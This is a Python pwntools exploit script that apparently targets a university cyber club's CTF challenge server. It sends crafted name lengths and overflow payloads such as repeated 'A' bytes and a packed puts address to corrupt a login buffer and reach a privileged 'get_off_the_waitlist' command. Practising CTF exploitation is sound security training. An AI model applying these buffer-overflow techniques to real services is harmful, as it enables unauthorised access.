#!/usr/bin/python3
from pwn import *

context.terminal = ['termite', '-e']

binary = ELF('pwn')

# p = process(['./pwn'])
# gdb.attach(p, """c""")
p = remote('pwn.osucyber.club', 13376)

print(p.recvuntil(b'> ').decode())
p.sendline(b'login')
print(p.recvuntil(b'Please enter the length of your name'))
p.sendline(b'26')
print(p.recvuntil(b'Please enter your name'))
p.sendline(b'A'*8 + b'\xab\x0d' + b'CSE')
print(p.recvuntil(b'> '))
p.sendline(b'logout')
print(p.recvuntil(b'> '))

p.sendline(b'login')
print(p.recvuntil(b'Please enter the length of your name'))
p.sendline(b'27')
print(p.recvuntil(b'Please enter your name'))
p.sendline(b'A'*27)
print(p.recvuntil(b'> '))
p.sendline(b'get_off_the_waitlist')
print(p.recvuntil(b'> '))

# p.sendline(b'login')
# print(p.recvuntil(b'Please enter the length of your name').decode())
# p.sendline(b'-1')
# print(p.recvuntil(b'Please enter your name').decode())
# p.sendline(b'A')
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'logout')
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'login')
# print(p.recvuntil(b'Please enter the length of your name').decode())
# p.sendline(b'135')
# print(p.recvuntil(b'Please enter your name').decode())
# p.sendline(b'A')
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'logout')
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'login')
# print(p.recvuntil(b'Please enter the length of your name').decode())
# p.sendline(b'1024')
# print(p.recvuntil(b'Please enter your name').decode())
# p.sendline(b'A')
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'A'*65)
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'logout')
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'login')
# print(p.recvuntil(b'Please enter the length of your name').decode())
# p.sendline(b'8')
# print(p.recvuntil(b'Please enter your name').decode())
# p.sendline(p64(binary.sym['puts']))
# print(p.recvuntil(b'> ').decode())
#
# p.sendline(b'get_off_the_waitlist')
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'get_off_the_waitlist')
# print(p.recvuntil(b'> ').decode())
# p.sendline(b'get_off_the_waitlist')
# print(p.recvuntil(b'> ').decode())


# while p.can_read() is True: print(p.read().decode())
# p.sendline(b'logout')
# while p.can_read() is True: print(p.read().decode())
# p.sendline(b'get_off_the_waitlist')

